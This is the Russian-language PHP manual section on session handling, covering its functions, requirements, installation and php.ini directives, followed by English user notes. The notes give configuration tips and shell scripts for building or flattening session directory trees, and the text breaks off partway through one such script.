    • session_cache_expire — Получает и/или устанавливает срок действия текущего кеша
    • session_cache_limiter — Получить и/или установить текущий режим кеширования
    • session_commit — Псевдоним session_write_close
    • session_create_id — Создаёт новый идентификатор сессии
    • session_decode — Декодирует данные сессии из закодированной строки сессии
    • session_destroy — Уничтожает все данные сессии
    • session_encode — Кодирует данные текущей сессии в формате строки сессии
    • session_gc — Выполняет сборку мусора данных сессии
    • session_get_cookie_params — Возвращает параметры cookie сессии
    • session_id — Получает и/или устанавливает идентификатор текущей сессии
    • session_module_name — Возвращает и/или устанавливает модуль текущей сессии
    • session_name — Получить или установить имя текущей сессии
    • session_regenerate_id — Генерирует и обновляет идентификатор текущей сессии
    • session_register_shutdown — Функция завершения сессии
    • session_reset — Реинициализирует сессию оригинальными значениями
    • session_save_path — Получает и/или устанавливает путь сохранения сессии
    • session_set_cookie_params — Устанавливает параметры сессионной cookie
    • session_set_save_handler — Устанавливает пользовательские обработчики хранения сессии
    • session_start — Стартует новую сессию, либо возобновляет существующую
    • session_status — Возвращает состояние текущей сессии
    • session_unset — Удалить все переменные сессии
    • session_write_close — Записывает данные сессии и завершает её
  • SessionHandler — Класс SessionHandler
    • SessionHandler::close — Закрывает сессию
    • SessionHandler::create_sid — Возвращает новый идентификатор сессии
    • SessionHandler::destroy — Уничтожает сессию
    • SessionHandler::gc — Очищает старые сессии
    • SessionHandler::open — Инициализирует сессию
    • SessionHandler::read — Считывает данные сессии
    • SessionHandler::write — Записывает данные сессии
  • SessionHandlerInterface — Класс SessionHandlerInterface
    • SessionHandlerInterface::close — Закрывает сессию
    • SessionHandlerInterface::destroy — Уничтожает сессию
    • SessionHandlerInterface::gc — Очищает старые сессии
    • SessionHandlerInterface::open — Инициализирует сессию
    • SessionHandlerInterface::read — Читает данные сессии
    • SessionHandlerInterface::write — Записать данные сессии
  • SessionIdInterface — Интерфейс SessionIdInterface
    • SessionIdInterface::create_sid — Создать идентификатор сессии
  • SessionUpdateTimestampHandlerInterface — Интерфейс SessionUpdateTimestampHandlerInterface
    • SessionUpdateTimestampHandlerInterface::updateTimestamp — Обновить метку времени
    • SessionUpdateTimestampHandlerInterface::validateId — Проверить идентификатор

User Contributed Notes

e dot mortoray at ecircle dot com 17-Apr-2009 05:02
There is a nuance we found with session timing out although the user is still active in the session.  The problem has to do with never modifying the session variable.

The GC will clear the session data files based on their last modification time.  Thus if you never modify the session, you simply read from it, then the GC will eventually clean up.

To prevent this you need to ensure that your session is modified within the GC delete time.  You can accomplish this like below.

<?php
if( !isset($_SESSION['last_access']) || (time() - $_SESSION['last_access']) > 60 )
  $_SESSION['last_access'] = time();
?>

This will update the session every 60s to ensure that the modification date is altered.


Введение

Поддержка сессий в PHP состоит в сохранении набора данных между последовательными доступами.

Каждому посетителю сайта присваивается уникальный идентификатор, называемый идентификатором сессии (session id). Он хранится либо в cookie на стороне пользователя, либо передаётся через URL.

Поддержка сессий помогает сохранять данные между запросами в суперглобальном массиве $_SESSION. Когда посетитель заходит на сайт, PHP автоматически (если для директивы session.auto_start установлено значение 1) или по запросу (явным образом через вызов функции session_start()) проверяет, был ли конкретный идентификатор сессии отправлен вместе с запросом. Если это так, восстанавливается сохранённое ранее окружение.

Предостережение

Если директива session.auto_start включена, то единственный способ поместить объекты в сессию — это загрузить определение класса этого объекта черер директиву auto_prepend_file, иначе придётся выполнить сериализацию (функцией serialize()) и десериализацию (функцией unserialize()) объекта вручную.

Суперглобальная переменная $_SESSION (и все зарегистрированные переменные) сериализуются внутри PHP после выполнения запроса, используя обработчик сериализации, заданный в INI-опции session.serialize_handler. Зарегистрированные, но неопределённые переменные помечаются как неопределённые. При повторном доступе они не будут определены сессионным модулем, если пользователь заново не определит их.

Внимание

Поскольку сессионные данные сериализуются, переменные с типом resource не могут храниться в сессиях.

Обработчики сериализации (php и php_binary) наследуют ограничения директивы register_globals. Поэтому нельзя использовать числовые или строковые индексы, содержащие специальные символы (| и !). Они приведут к ошибкам при завершении работы скрипта. У обработчика php_serialize такие ограничения отсутствуют.

Замечание:

Заметьте, при работе с сессиями запись в сессии не создаётся до тех пор, пока переменная не будет зарегистрирована в суперглобальном массиве $_SESSION. Это правило будет применяться независимо от того, запускалась ли сессия функцией session_start().

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для сборки этого модуля не нужны внешние библиотеки.

Замечание:

При желании можно использовать квотирование разделяемой памяти (mm), разработанное Ralf S. Engelschall, для хранения сессии. Для этого необходимо скачать и установить » mm. Данная опция не доступна для платформ на базе ОС Windows. Следует также обратить внимание, что модуль хранения данных сессии при использовании mm не гарантирует блокировку информации сессии при параллельных запросах. Возможно, в таком случае целесообразно использование файловой системы в разделяемой памяти (Например, TMPFS в Solaris/Linux или /dev/md для BSD), чтобы хранить сессии в файлах, блокируемых при обращении к ним. Поскольку данные сессии хранятся в разделяемой памяти, перезапуск веб-сервера приведёт к их удалению.

User Contributed Notes

Anonymous 14-Nov-2022 06:22
There's no information out there on how to correctly install to make the mm option work smoothly. Please add more info on this.


Установка

Модуль включён по умолчанию. Он может быть отключён во время выполнения опцией: --disable-session

Чтобы использовать квотирование разделяемой памяти (mm) для хранения данных сессии необходимо сконфигурировать PHP с опцией --with-mm[=DIR].

Версия PHP для Windows имеет встроенную поддержку этого модуля. То есть для вызова этих функций не нужна загрузка дополнительных модулей.

Замечание:

По умолчанию все данные, связанные с конкретной сессией будут храниться в файле в директории, указанной в опции session.save_path файла конфигурации. Файл создаётся для каждой сессии (независимо от наличия связанных с ней данных). Это связано с тем, что сессия открыта (создаётся файл), но никакие данные ещё не записаны. Следует обратить внимание, что такое поведение является побочным эффектом ограничений в работе с файловой системой и вполне возможно, что пользовательский обработчик сессии (например тот, что использует базу данных) не отслеживает сессии, в которых нет данных.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки механизма сессий
Имя | По умолчанию | Место изменения | Список изменений
session.save_path | "" | INI_ALL |
session.name | "PHPSESSID" | INI_ALL |
session.save_handler | "files" | INI_ALL |
session.auto_start | "0" | INI_PERDIR |
session.gc_probability | "1" | INI_ALL |
session.gc_divisor | "100" | INI_ALL |
session.gc_maxlifetime | "1440" | INI_ALL |
session.serialize_handler | "php" | INI_ALL |
session.cookie_lifetime | "0" | INI_ALL |
session.cookie_path | "/" | INI_ALL |
session.cookie_domain | "" | INI_ALL |
session.cookie_secure | "0" | INI_ALL | До PHP 7.2.0 значение по умолчанию было "".
session.cookie_httponly | "0" | INI_ALL | До PHP 7.2.0 значение по умолчанию было "".
session.cookie_samesite | "" | INI_ALL | Доступна с PHP 7.3.0.
session.use_strict_mode | "0" | INI_ALL |
session.use_cookies | "1" | INI_ALL |
session.use_only_cookies | "1" | INI_ALL |
session.referer_check | "" | INI_ALL |
session.cache_limiter | "nocache" | INI_ALL |
session.cache_expire | "180" | INI_ALL |
session.use_trans_sid | "0" | INI_ALL |
session.trans_sid_tags | "a=href,area=href,frame=src,form=" | INI_ALL | Доступна с PHP 7.1.0.
session.trans_sid_hosts | $_SERVER['HTTP_HOST'] | INI_ALL | Доступна с PHP 7.1.0.
session.sid_length | "32" | INI_ALL | Доступна с PHP 7.1.0.
session.sid_bits_per_character | "4" | INI_ALL | Доступна с PHP 7.1.0.
session.upload_progress.enabled | "1" | INI_PERDIR |
session.upload_progress.cleanup | "1" | INI_PERDIR |
session.upload_progress.prefix | "upload_progress_" | INI_PERDIR |
session.upload_progress.name | "PHP_SESSION_UPLOAD_PROGRESS" | INI_PERDIR |
session.upload_progress.freq | "1%" | INI_PERDIR |
session.upload_progress.min_freq | "1" | INI_PERDIR |
session.lazy_write | "1" | INI_ALL |
session.hash_function | "0" | INI_ALL | Удалена в PHP 7.1.0.
session.hash_bits_per_character | "4" | INI_ALL | Удалена в PHP 7.1.0.
session.entropy_file | "" | INI_ALL | Удалена в PHP 7.1.0.
session.entropy_length | "0" | INI_ALL | Удалена в PHP 7.1.0
Дополнительная информация и описания режимов INI_* даны в разделе «Места установки параметров конфигурации».

Система управления сессиями поддерживает ряд опций, которые могут быть указаны в файле php.ini. Ниже приводится краткий обзор.

session.save_handler string
session.save_handler определяет имя обработчика, который сохраняет и извлекает данные сессии. По умолчанию значение директивы равно files. Обратите внимание, отдельные модули регистрируют собственные обработчики (save_handler). Текущие зарегистрированные обработчики отображает функция phpinfo(). Смотрите также session_set_save_handler().
session.save_path string
session.save_path определяет аргумент, который передаётся в обработчик сохранения. Если выбран обработчик файлов по умолчанию, аргумент содержит путь, по которому будут создаваться файлы. Смотрите также описание функции session_save_path().

Для этой директивы можно задать необязательный аргумент N, который определяет глубину вложенных директорий, по которым будут распределены файлы сессий. Например, установка значения '5;/tmp' может расположить созданный файл сессии по такому пути: /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If. Чтобы использовать аргумент N, вначале необходимо создать все эти директории. Для этого в директории ext/session существует небольшой скрипт оболочки, который в Linux-системах называется mod_files.sh, а в системах Windows mod_files.bat. Заметьте также, что если значение аргумента N определили и оно больше 0, то сборщик мусора не будет автоматически собирать мусор, подробнее об этом сообщает файл php.ini. А также, если аргумент N задали, необходимо удостовериться, что значение директивы session.save_path указали в кавычках, поскольку разделитель (;) в файле php.ini также указывают для комментариев.

Модуль хранения файлов создаёт файлы с правами 600 по умолчанию. Значение по умолчанию можно изменить необязательным аргументом MODE: N;MODE;/path, где MODE — восьмеричное представление режима доступа к файлу. Установка аргумента MODE не влияет на обработку umask.

Внимание

Если установить в качестве значения общедоступную для чтения директорию, например, /tmp (по умолчанию), остальные пользователи сервера смогут перехватить сессию пользователя, получив список файлов в этой директории.

Предостережение

При указании уже описанного необязательного аргумента уровня вложенности директорий N, учитывают, что значение выше чем 1 или 2 недопустимо для большей части сайтов из-за того, что нужно создать много директорий: например, значение 3 означает, что в файловой системе существует (2 ** session.sid_bits_per_character) ** 3 директорий, которые могут напрасно занимать много дискового пространства и индексных дескрипторов (inodes).

Значения больше 2 для аргумента N указывают, только если совершенно уверены, что размер сайта соответствует такому требованию.

session.name string
session.name определяет название сессии, которое будет использовано как название cookies. В директиве разрешено указывать только цифры и буквы. Значение по умолчанию — PHPSESSID. Смотрите также описание функции session_name().
session.auto_start bool
session.auto_start определяет, будет ли модуль сессии запускать сессию автоматически при старте. Значение по умолчанию 0 (отключено).
session.serialize_handler string
session.serialize_handler определяет имя обработчика, который будет использован для сериализации/десериализации данных. Поддерживаются формат сериализации PHP (наименование php_serialize), внутренний формат PHP (наименование php и php_binary) и WDDX (наименование wddx). WDDX доступен только в том случае, если PHP скомпилирован с поддержкой WDDX. php_serialize использует простую функцию сериализации/десериализации для внутренних нужд и не имеет тех ограничений, какие есть у php и php_binary. Старые обработчики сериализации не могут хранить ни числовые, ни строковые индексы, содержащие специальные символы (| и !) в $_SESSION. Используйте php_serialize, чтобы обойти ошибки числовых и строковых индексов при завершении скрипта. Значение по умолчанию php.
session.gc_probability int
session.gc_probability в сочетании с session.gc_divisor определяет вероятность запуска функции сборщика мусора (gc, garbage collection). По умолчанию равен 1. Смотрите подробнее в session.gc_divisor.
session.gc_divisor int
session.gc_divisor в сочетании с session.gc_probability определяет вероятность запуска функции сборщика мусора (gc, garbage collection) при каждой инициализации сессии. Вероятность рассчитывается как gc_probability/gc_divisor, то есть 1/100 означает, что функция gc запускается в одном случае из ста, или 1% при каждом запросе. session.gc_divisor по умолчанию имеет значение 100.
session.gc_maxlifetime int
session.gc_maxlifetime задаёт отсрочку времени в секундах, после которой данные будут рассматриваться как "мусор" и потенциально будут удалены. Сбор мусора может произойти в течение старта сессии (в зависимости от значений session.gc_probability и session.gc_divisor). По умолчанию значение 1440 (24 минуты).

Замечание: Если разные скрипты имеют разные значения session.gc_maxlifetime, но при этом одни и те же места для хранения данных сессии, то скрипт с минимальным значением уничтожит все данные. В таком случае следует использовать эту директиву вместе с session.save_path.

session.referer_check string
session.referer_check содержит подстроку, которую можно использовать при проверке HTTP Referer. Если клиентом был послан referer и подстрока не была выявлена, то идентификатор сессии будет помечен как недействительный. По умолчанию используется пустая строка.
session.entropy_file string
session.entropy_file содержит путь к ресурсу (файлу), используемому как дополнительный источник энтропии в процессе создания идентификатора сессии. Например, /dev/random или /dev/urandom, которые доступны на многих Unix-системах. Эта возможность также поддерживается в Windows. Указание ненулевого значения в session.entropy_length предписывает PHP использовать в качестве источника энтропии Windows Random API.

Замечание: Удалено в PHP 7.1.0. session.entropy_file имеет значение по умолчанию равное /dev/urandom или /dev/arandom, если они доступны.

session.entropy_length int
session.entropy_length определяет количество байт, которые будут прочитаны из вышеуказанного файла. По умолчанию 32. Удалено в PHP 7.1.0.
session.use_strict_mode bool
session.use_strict_mode определяет будет ли модуль использовать режим строгого идентификатора (ID). Если от браузера получен неопределённый ID, то браузеру будет отправлен новый ID. Таким образом приложения защищаются от фиксации сессии с помощью строгого режима. По умолчанию 0 (отключено).

Замечание: Включение session.use_strict_mode является обязательным для общей безопасности сессии. Всем сайтам рекомендуется её включать. Смотрите примеры session_create_id().

Внимание

Если пользовательский обработчик сессии, зарегистрированный с помощью session_set_save_handler(), не реализует SessionUpdateTimestampHandlerInterface::validateId() и не предоставляет callback-функцию validate_sid, соответственно, режим строгого идентификатора сессии будет отключён, независимо от значения этой директивы. Особо обратите внимание, что SessionHandler не реализует SessionHandler::validateId().

session.use_cookies bool
session.use_cookies определяет, будет ли модуль использовать cookies для хранения идентификатора сессии на стороне клиента. По умолчанию 1 (включено).
session.use_only_cookies bool
session.use_only_cookies определяет, будет ли модуль использовать только cookies для хранения идентификатора сессии на стороне клиента. Включение этого параметра предотвращает атаки с передачей идентификаторов сессии в URL-адресах. Значение по умолчанию 1 (включено).
session.cookie_lifetime int
session.cookie_lifetime указывает время жизни cookies, отправляемого в браузер клиента, в секундах. Значение 0 означает, что cookies будут валидны до закрытия браузера. По умолчанию равно 0. Смотрите также session_get_cookie_params() и session_set_cookie_params().

Замечание: Отметка окончания времени устанавливается по отношению к серверному времени, которое не обязательно совпадает с временем в браузере клиента.

session.cookie_path string
session.cookie_path определяет устанавливаемый путь в сессионной cookie. По умолчанию /. Смотрите также session_get_cookie_params() и session_set_cookie_params().
session.cookie_domain string
session.cookie_domain определяет устанавливаемый домен в сессионной cookie. В соответствии со спецификацией нет смысла дополнительно указывать имя хоста, который сгенерировал cookies. Смотрите также session_get_cookie_params() и session_set_cookie_params().
session.cookie_secure bool
session.cookie_secure указывает, должны ли cookies передаваться только через защищённое соединение. Когда для этой настройки установлено значение on, сессии работают только с HTTPS-соединениями. Если значение off, то сессии работают и с HTTP-, и с HTTPS-соединениями. Значение по умолчанию off. Смотрите также описание функций session_get_cookie_params() и session_set_cookie_params().
session.cookie_httponly bool
Отметка, согласно которой доступ к cookie с идентификатором сессии может быть получен только через HTTP-протокол. Это означает, что cookie не будет доступна через скриптовые языки, такие как JavaScript. Данная настройка позволяет эффективно защитить от XSS-атак (к сожалению, эта функция поддерживается не всеми браузерами).
session.cookie_samesite string
Позволяет серверам утверждать, что cookie не должен отправляться вместе с межсайтовыми запросами. Это утверждение позволяет браузерам пользователей снизить риск утечки информации из разных источников и обеспечивает определённую защиту от подделки кросс-доменных запросов. Обратите внимание, что это поддерживают не все браузеры. Пустое значение означает, что атрибут cookie сайта не будет установлен. Lax и Strict означают, что cookie не будет отправлен для кросс-доменных POST-запросов; Lax отправит cookie для междоменных GET-запросов, а Strict не будет этого делать.
session.cache_limiter string
session.cache_limiter определяет режим кеширования, используемого для страниц сессий. Может принимать одно из следующих значений: nocache, private, private_no_expire или public. По умолчанию nocache. Подробнее о данных значениях смотрите в session_cache_limiter().
session.cache_expire int
session.cache_expire указывает время жизни кешированных страниц сессий в минутах, это никак не влияет на ограничитель nocache. По умолчанию 180. Смотрите также session_cache_expire().
session.use_trans_sid bool
session.use_trans_sid указывает, используется ли прозрачная поддержка sid или нет. По умолчанию 0 (отключено).

Замечание: Управление сессией на основе URL имеет дополнительные риски безопасности по сравнению с управлением на основе cookies. В качестве примера можно упомянуть такие ситуации, когда пользователи могут отправить URL, содержащий идентификатор активной сессии, своим друзьям по электронной почте или сохранить ссылку с идентификатором в закладках и все время посещать сайт с одним и тем же идентификатором. Начиная с PHP 7.1.0, полный путь URL, то есть https://php.net/, обрабатывается "trans sid". Раньше PHP обрабатывал только относительный URL-адреса. Перезапись целевого хоста задаётся session.trans_sid_hosts.

session.trans_sid_tags string
session.trans_sid_tags задаёт перезаписываемые теги HTML для включения идентификатора сессии когда включена поддержка прозрачных "sid". По умолчанию a=href,area=href,frame=src,input=src,form= form — специальных тег. <input hidden="session_id" name="session_name"> добавляется в форму.

Замечание: До PHP 7.1.0 для этого использовался url_rewriter.tags. С PHP 7.1.0, fieldset больше не считается за специальный тег.

session.trans_sid_hosts string
session.trans_sid_hosts задаёт, какие хосты будут перезаписаны для включения идентификатора сессии, когда включена поддержка прозрачных "sid". По умолчанию $_SERVER['HTTP_HOST']. Несколько хостов можно указать через запятую. Не допускается вставлять пробелы между хостами. Так правильно: php.net,wiki.php.net,bugs.php.net.
session.sid_length int
session.sid_length позволяет указать длину идентификатора сессии. Это значение должно быть в диапазоне 22-256. По умолчанию 32. Если вам нужна совместимость, указывайте 32, 40 и т. д. Более длинные идентификаторы сложнее подобрать. Рекомендуется использовать длину не менее 32.
Подсказка

Заметки по совместимости: Используйте 32 для
session.hash_function=0 (MD5) и
session.hash_bits_per_character=4,
session.hash_function=1 (SHA1) и
session.hash_bits_per_character=6. 26 для
session.hash_function=0 (MD5) и
session.hash_bits_per_character=5. 22 для
session.hash_function=0 (MD5) и
session.hash_bits_per_character=6.
Вы должны сконфигурировать INI-настройки таким образом, чтобы идентификатор
сессии состоял как минимум из 128 бит. Не забудьте задать соответствующие
значения для session.sid_bits_per_character, иначе ваши
идентификаторы будут слабыми.

Замечание: Эта настройка появилась в PHP 7.1.0.

session.sid_bits_per_character int
session.sid_bits_per_character позволяет задать количество бит в одном символе идентификатора сессии. Доступные значения '4' (0-9, a-f), '5' (0-9, a-v), и '6' (0-9, a-z, A-Z, "-", ","). По умолчанию 4. Чем больше бит, тем сильнее идентификатор сессии. В большинстве окружений рекомендуется 5.

Замечание: Эта настройка появилась в PHP 7.1.0.

session.hash_function mixed
session.hash_function позволяет указать алгоритм хеширования, используемый для генерации идентификатора сессии. '0' означает MD5 (128 bits), а '1' означает SHA-1 (160 bits).

Возможно указать любой из алгоритмов, предусмотренных модулем hash (если он доступен), например, sha512 или whirlpool. Полный список алгоритмов может быть получен с помощью функции hash_algos().

Замечание: Удалена в PHP 7.1.0.

session.hash_bits_per_character int
session.hash_bits_per_character позволяет указать сколько бит хранится в каждом символе при преобразовании бинарного представления во что-либо более удобочитаемое. Возможные значения: '4' (0-9, a-f), '5' (0-9, a-v) и '6' (0-9, a-z, A-Z, "-", ",").

Замечание: Удалена в PHP 7.1.0.

session.upload_progress.enabled bool
Включает отслеживание прогресса загрузки файлов и заполнение соответствующей переменной в массиве $_SESSION. По умолчанию 1, включено.
session.upload_progress.cleanup bool
Чистка информации о прогрессе загрузки файлов по завершении обработки POST-данных (то есть когда загрузка завершена). По умолчанию 1, включено.

Замечание: Строго рекомендуется не отключать эту опцию.

session.upload_progress.prefix string
Префикс, используемый для ключа прогресса загрузки в массиве $_SESSION. Для обеспечения уникальности данный ключ будет присоединён к значению $_POST[ini_get("session.upload_progress.name")]. По умолчанию равен "upload_progress_".
session.upload_progress.name string
Имя ключа, используемого в массиве $_SESSION, для хранения информации о прогрессе. Смотрите также директиву session.upload_progress.prefix. Если элемент $_POST[ini_get("session.upload_progress.name")] не передан, прогресс загрузки данного файла не будет отслеживаться. По умолчанию "PHP_SESSION_UPLOAD_PROGRESS".
session.upload_progress.freq mixed
Определяет частоту обновления информации о прогрессе загрузки. Можно указать значение в байтах (то есть "обновлять информацию о прогрессе каждые 100 байт") или в процентах (то есть "обновлять информацию о прогрессе после получения 1% данных от размера файла"). По умолчанию "1%".
session.upload_progress.min_freq int
Минимальная задержка между обновлениями, в секундах. По умолчанию "1" (одна секунда).
session.lazy_write bool
Если session.lazy_write установлен в 1, то данные сессии будут перезаписываться только при их изменении. По умолчанию 1, включено.

Прогресс загрузки файлов не будет обрабатываться, если не включена опция session.upload_progress.enabled и не установлена переменная $_POST[ini_get("session.upload_progress.name")]. Подробнее об этом смотрите в главе "Отслеживание прогресса загрузки файлов с помощью сессий".

User Contributed Notes

theking2(at)king.ma 03-Mar-2024 09:39
To prevent mitm-attacks you want to make sure the session cookie is only transmitted over a secure channel prefix it with the magic string "__Secure-". [1]

Like :
<?php
    session_start( [ 'name' => '__Secure-Session-ID' ] );
?>

The cookie will not be available on non-secure channel.

(Putting this note it here probably goes unnoticed because of all the noise)

[1]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#attributes
theking2(at)king.ma 26-Feb-2024 07:43
Please be careful with the 'sid_length' when setting 'sid_bits_per_character' to six.

Setting sid_bits_per_character to 6 includes the character "," to the list of possible characters. A comma will be escaped and transmitted as "%2C" (tested on Chromium Version 119.0.6045.199) adding two extra characters for each comma to the SESSION_ID.
zch1 20-Dec-2023 05:57
the pwd should be urlencode when it contanis special chars.
eg:

save_handler:redis
save_path: tcp://127.0.0.1:6739?auth=urlencode('xxxxx')
Walerian Walawski - https://w87.eu/ 08-Oct-2023 01:23
Can't find mod_files.sh? Here it is:
------------------------------------

#!/usr/bin/env bash

if [[ "$2" = "" ]] || [[ "$3" = "" ]]; then
       echo "Usage: $0 BASE_DIRECTORY DEPTH BITS_PER_CHAR"
       echo "BASE_DIRECTORY will be created if it doesn't exist"
       echo "DEPTH must be an integer number >0"
       echo "BITS_PER_CHAR(session.sid_bits_per_character) should be one of 4, 5, or 6."
       # http://php.net/manual/en/session.configuration.php#ini.session.sid-bits-per-character
       exit 1
fi

if [[ "$2" = "0" ]] && [[ ! "$4" = "recurse" ]]; then
       echo "Can't create a directory tree with depth of 0, exiting."
fi

if [[ "$2" = "0" ]]; then
       exit 0
fi

directory="$1"
depth="$2"
bitsperchar="$3"

hash_chars="0 1 2 3 4 5 6 7 8 9 a b c d e f"

if [[ "$bitsperchar" -ge "5" ]]; then
       hash_chars="$hash_chars g h i j k l m n o p q r s t u v"
fi

if [[ "$bitsperchar" -ge "6" ]]; then
       hash_chars="$hash_chars w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z - ,"
fi

while [[ -d $directory ]] && [[ $( ls $directory ) ]]; do
       echo "Directory $directory is not empty! What would you like to do?"

       options="\"Delete directory contents\" \"Choose another directory\" \"Quit\""
       eval set $options
       select opt in "$@"; do

              if [[ $opt = "Delete directory contents" ]]; then
                     echo "Deleting $directory contents... "
                     rm -rf $directory/*
              elif [[ $opt = "Choose another directory" ]]; then
                     echo "Which directory would you like to choose?"
                     read directory
              elif [[ $opt = "Quit" ]]; then
                     exit 0
              fi

              break;
       done
done

if [[ ! -d $directory ]]; then
       mkdir -p $directory
fi

echo "Creating session path in $directory with a depth of $depth for session.sid_bits_per_character = $bitsperchar"

for i in $hash_chars; do
       newpath="$directory/$i"
       mkdir $newpath || exit 1
       bash $0 $newpath `expr $depth - 1` $bitsperchar recurse
done
descartavel1+php at gmail dot com 16-May-2023 09:11
You should set `session.name` to use either prefix `__Host-` or `__Secure-`. See https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#attributes
polygon dot co dot in at gmail dot com 07-Nov-2021 08:04
In php.ini, session.save_handler defines the name of the handler which is used for storing and retrieving data associated with a session. [Defaults to files.]

By default session.save_handler has support for below

session.save_handler = files
session.save_handler = sqlite
session.save_handler = redis
session.save_handler = memcached

These locks the session by default for any HTTP request using session.
Locking means, a user can't access session related pages until current request is completed.

So, if you are thinking that switching to these will increase performance; the answer is NO! because of locking behaviour.

To overcome/customise the session locking behaviour use as below.

session.save_handler = user
This is for all (including list above) modes of session storage.

For "user" type save_handler, we can ignore locks for better performance (as explained in function session_set_save_handler). But for this we need to take care to use sessions only for authenticity and not for passing data from one script to other.

For passing data accross scripts use GET method to achieve the goal.
boan dot web at outlook dot com 10-Feb-2019 12:43
session.cache_limiter may be empty string to disable cache headers entirely.

Quote:
> Setting the cache limiter to '' will turn off automatic sending of cache headers entirely.

http://php.net/manual/en/function.session-cache-limiter.php
li-lingjie 19-Dec-2017 09:20
Use SessionHandlerInterface interface Custom redis session, found the following:

Use ini_set ('session.save_path', "tcp: //127.0.0.1: 6379? Auth = password"); will be reported:

PHP Fatal error: session_start (): Failed to initialize storage module: user (path: tcp: //127.0.0.1: 6379? Auth = password);

Using session_save_path ("tcp: //127.0.0.1: 6379? Auth = password") will not
white-gandalf at web dot de 18-Dec-2017 05:50
session.use_strict_mode does very little to strengthen your security: only one very specific variant of attack is migitated by this (where the attacker hands an "empty" sid to the victim to adapt his own browser to that session later) - versus for example the case where he pre-opens a session, handing the sid of that one to the victim, so the victim gets adapted to the pre-opened session. In the latter case this flag does nothing to help. In every other scenario with other vulnerabilities where the session id gets leaked, the flag helps nigher.

But this flag renders the php function session_id() useless in its parameterized variant, thus preventing any php functionality that builds upon this function.
ohcc at 163 dot com 25-Nov-2017 04:06
You should take more care configuring session.gc_maxlifetime when virtual hosts share the same session-saving directory. One host's session data may be gc'ed when another host runs php.
Anonymous 14-Oct-2016 02:23
In response to this comment: http://php.net/manual/en/session.configuration.php#107990 where it is claimed that gc_maxlifetime values larger than 65535 break the session system. I cannot reproduce this.

I've set gc_maxlifetime to 31536000 (1 year) and the session system works just fine. I haven't tried how long a session lasts now (I'm in the process of testing this), but it certainly doesn't break PHP sessions.
info at thimbleopensource dot com 19-Jul-2015 07:39
I found out that if you need to set custom session settings, you only need to do it once when session starts. Then session maintains its settings, even if you use ini_set and change them, original session still will use it's original setting until it expires.

Just thought it might be useful to someone.
GreenReaper 14-Oct-2014 12:56
We found a session.save_path depth of 3 led to excessive wastage of inodes and in fact disk space in storing the directory tree. dir_indexes option on ext2/3/4 makes larger directories more feasible anyway, so we decided to move to a depth of 2 instead.

It took a little puzzling to figure out how to move the existing PHP sessions up one directory tree, but we ended up running this in the root sessions directory:

#!/bin/sh
for a in ./* ; do
    cd ./$a
    pwd
    for b in ./* ; do
      cd ./$b
      pwd
      # Move existing sessions out
      find ./* -xdev -type f -print0 | xargs -0 mv -t .
      # Remove subdirectories
      find ./* -xdev -type d -print0 | xargs -0 rmdir
      cd ..
  done
  cd ..
done

This script may not be the best way to do it, but it got the job done fast. You can modify it for different depths by adding or removing "for" loops.

The documentation gives a depth of 5 as an example, but five is right out. If you're going beyond 2, you're at the scale where you may want to to look at a large memcached or redis instance instead.
Christopher Kramer 02-Oct-2014 01:22
On debian (based) systems, changing session.gc_maxlifetime at runtime has no real effect. Debian disables PHP's own garbage collector by setting session.gc_probability=0. Instead it has a cronjob running every 30 minutes (see /etc/cron.d/php5) that cleans up old sessions. This cronjob basically looks into your php.ini and uses the value of session.gc_maxlifetime there to decide which sessions to clean (see /usr/lib/php5/maxlifetime).

You can adjust the global value in your php.ini (usually /etc/php5/apache2/php.ini). Or you can change the session.save_path so debian's cronjob will not clean up your sessions anymore. Then you need to either do your own garbage collection with your own cronjob or enable PHP's garbage collection (php then needs sufficient privileges on the save_path).

Why does Debian not use PHP's garbarage collection?
For security reasons, they store session data in a place (/var/lib/php5) with very stringent permissions. With the sticky bit set, only root is allowed to rename or delete files there, so PHP itself cannot clean up old session data. See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=267720 .
jlevene at etisoftware dot com 21-Feb-2013 01:29
Being unable to find an actual copy of mod_files.sh, and seeing lots of complaints/bug fix requests for it, here's one that works.  It gets all its parameters from PHP.INI, so you don't have the opportunity to mess up:

#!/bin/bash
#
# Creates directories for PHP session storage.
# Replaces the one that "comes with" PHP, which (a) doesn't always come with it
# and (b) doesn't work so great.
#
# This version takes no parameters, and uses the values in PHP.INI (if it
# can find it).
#
# Works in OS-X and CentOS (and probably all other) Linux.
#
# Feb '13 by Jeff Levene.

[[ $# -gt 0 ]] && echo "$0 requires NO command-line parameters.
It gets does whatever is called for in the PHP.INI file (if it can find it).
" && exit 1

# Find the PHP.INI file, if possible:
phpIni=/usr/local/lib/php.ini                        # Default PHP.INI location
[[ ! -f "$phpIni" ]] && phpIni=/etc/php.ini            # Secondary location
[[ ! -f "$phpIni" ]] && phpIni=                        # Found it?

# Outputs the given (as $1) parameter from the PHP.INI file:
# The "empty" brackets have a SPACE and a TAB in them.
#
PhpConfigParam() {
    [[ ! "$phpIni" ]] && return
    # Get the line from the INI file:
    varLine=`grep "^[     ]*$1[     ]*=" "$phpIni"`

    # Extract the value:
    value=`expr "$varLine" : ".*$1[     ]*=[     ]*['\"]*\([^'\"]*\)"`
    echo "$value"
    }

if [[ "$phpIni" ]]
then
    savePath=`PhpConfigParam session.save_path`
    # If there's a number and semicolon at the front, remove them:
    dirDepth=`expr "$savePath" : '\([0-9]*\)'`
    [[ "$dirDepth" ]] && savePath=`expr "$savePath" : '[0-9]*;\(.*\)'` || dirDepth=0
    bits=`PhpConfigParam session.hash_bits_per_character`
    case "x$bits" in
        x)    echo "hash_bits_per_character not defined.  Not running." ; exit 2 ;;
        x4) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f' ;;
        x5) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v' ;;
        x6) alphabet='0 1 2 3 4 5 6 7 8 9 a b c d e f g h i j k l m n o p q r s t u v'
            alphabet="$alphabet w x y z A B C D E F G H I J K L M N O P Q R S T U V W"
            alphabet="$alphabet X Y Z - ,"
            ;;
        *)    echo "unrecognized hash_bits_per_character.  Not running." ; exit 2 ;;
    esac
else
